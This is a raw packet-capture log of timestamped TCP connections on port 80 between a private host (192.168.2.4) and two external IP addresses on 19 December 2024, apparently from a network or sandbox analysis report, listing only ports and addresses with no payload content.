Dec 19, 2024 06:09:13.480427980 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.480479956 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.481302977 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.481400013 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.481446028 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.481496096 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.482320070 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.482382059 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.482436895 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.482486963 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.483239889 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.483294964 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.483381987 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.483438969 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.484231949 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.484292030 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.484447956 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.484505892 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.485187054 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.485245943 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.485301018 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.485353947 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.486453056 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.486510992 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.486566067 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.486618996 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.487128973 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.487186909 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.487253904 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.487309933 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.488203049 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.488265991 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.488336086 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.488392115 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.489083052 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.489144087 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.489202976 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.489257097 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.490092039 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.490149021 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.490205050 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.490257978 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.491076946 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.491134882 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.491188049 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.491241932 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.492002964 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.492063046 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.492122889 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.492175102 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.492969036 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.493026018 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.493093967 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.493149042 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.494021893 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.494085073 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.494132996 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.494184017 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.494952917 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.495009899 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.495083094 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.495138884 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.495918036 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.495951891 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.495975018 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.495996952 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.496915102 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.496978045 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.497031927 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.497083902 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.497792006 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.497847080 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.638840914 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.638937950 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.638967037 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.639025927 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.639322042 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.639374971 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.639415979 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.639467955 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.640279055 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.640331984 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.640630960 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.640682936 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.640727043 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.640786886 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.641623020 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.641674995 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.641738892 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.641794920 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.642601967 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.642661095 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.642682076 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.642734051 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.643568039 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.643621922 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.643702984 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.643762112 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.644562960 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.644665956 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.644723892 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.645529032 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.645617008 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.645673990 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.646490097 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.646662951 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.646718979 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:13.647473097 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:13.647540092 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:15.848988056 CET	49754	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:15.849339008 CET	49777	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:15.968924046 CET	80	49754	185.215.113.43	192.168.2.4
Dec 19, 2024 06:09:15.968981981 CET	80	49777	185.215.113.43	192.168.2.4
Dec 19, 2024 06:09:15.969105005 CET	49754	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:15.969105005 CET	49777	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:15.969274998 CET	49777	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:16.088747025 CET	80	49777	185.215.113.43	192.168.2.4
Dec 19, 2024 06:09:18.929843903 CET	80	49777	185.215.113.43	192.168.2.4
Dec 19, 2024 06:09:18.929929018 CET	49777	80	192.168.2.4	185.215.113.43
Dec 19, 2024 06:09:18.933197021 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:18.933518887 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:19.053071022 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:19.053122044 CET	80	49763	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:19.053162098 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:19.053184986 CET	49763	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:19.053352118 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:19.173049927 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.397093058 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.397133112 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.397170067 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.397212982 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.397212982 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.397227049 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.397264004 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.397289991 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.397309065 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.397344112 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.397357941 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.397381067 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.397417068 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.397418022 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.397439003 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.397452116 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.397464037 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.397512913 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.517183065 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.517272949 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.517326117 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.517585039 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.521225929 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.521302938 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.521317005 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.521389008 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.589096069 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.589180946 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.589277029 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.589334965 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.593308926 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.593380928 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.593417883 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.593487024 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.601648092 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.601727962 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.601751089 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.601814032 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.610014915 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.610079050 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.610105038 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.610198975 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.618390083 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.618480921 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.618489981 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.618791103 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.626781940 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.626859903 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.626895905 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.626954079 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.635149002 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.635258913 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.635267973 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.635370016 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.643528938 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.643601894 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.643603086 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.643666029 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.651897907 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.652013063 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.652028084 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.652154922 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.660309076 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.660399914 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.660461903 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.660512924 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.667468071 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.667536020 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.667588949 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.667644024 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.674748898 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.674815893 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.674846888 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.674913883 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.781130075 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.781176090 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.781189919 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.781228065 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.783392906 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.783433914 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.783514023 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.783555984 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.787856102 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.787899017 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.787986994 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.788027048 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.792372942 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.792417049 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.792459011 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.792495012 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.796868086 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.796911955 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.796936989 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.796969891 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.801357031 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.801430941 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.801486969 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.801523924 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.805852890 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.805897951 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.805943966 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.805978060 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.810312033 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.810353994 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.810420990 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.810456991 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.814789057 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.814918041 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.814929008 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.814965963 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.819293976 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.819338083 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.819375992 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.819411993 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.823760986 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.823800087 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.823875904 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.823909998 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.828211069 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.828248024 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.828321934 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.828362942 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.832726955 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.832776070 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.832891941 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.832926989 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.837212086 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.837249041 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.837346077 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.837380886 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.841680050 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.841718912 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.841789961 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.841830015 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.846163988 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.846203089 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.846271992 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.846313000 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.850675106 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.850714922 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.850753069 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.850788116 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.855179071 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.855216026 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.855298996 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.855329990 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.859565973 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.859601021 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.859642029 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.859671116 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.864095926 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.864146948 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.864188910 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.864223003 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.868551970 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.868597031 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.868613005 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.868643045 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.873023987 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.873060942 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.873097897 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.873132944 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.877485991 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.877528906 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.877631903 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.877667904 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.881983995 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.882024050 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.882055044 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.882085085 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.973242998 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.973287106 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.973323107 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.973429918 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.974899054 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.974961996 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.975033045 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.975085020 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.978543043 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.978599072 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.979862928 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.979922056 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.980003119 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.980047941 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.983433962 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.983504057 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.983570099 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.983624935 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.986995935 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.987057924 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.987126112 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.987179041 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.990369081 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.990423918 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.990489960 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.990550041 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.993844986 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.993901014 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.993911028 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.993956089 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.997107029 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.997165918 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:20.997257948 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:20.997319937 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.000315905 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.000375986 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.000446081 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.000503063 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.003477097 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.003535986 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.003611088 CET	80	49787	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:21.003662109 CET	49787	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:21.006612062 CET	80	49787	31.41.244.11	192.168.2.4
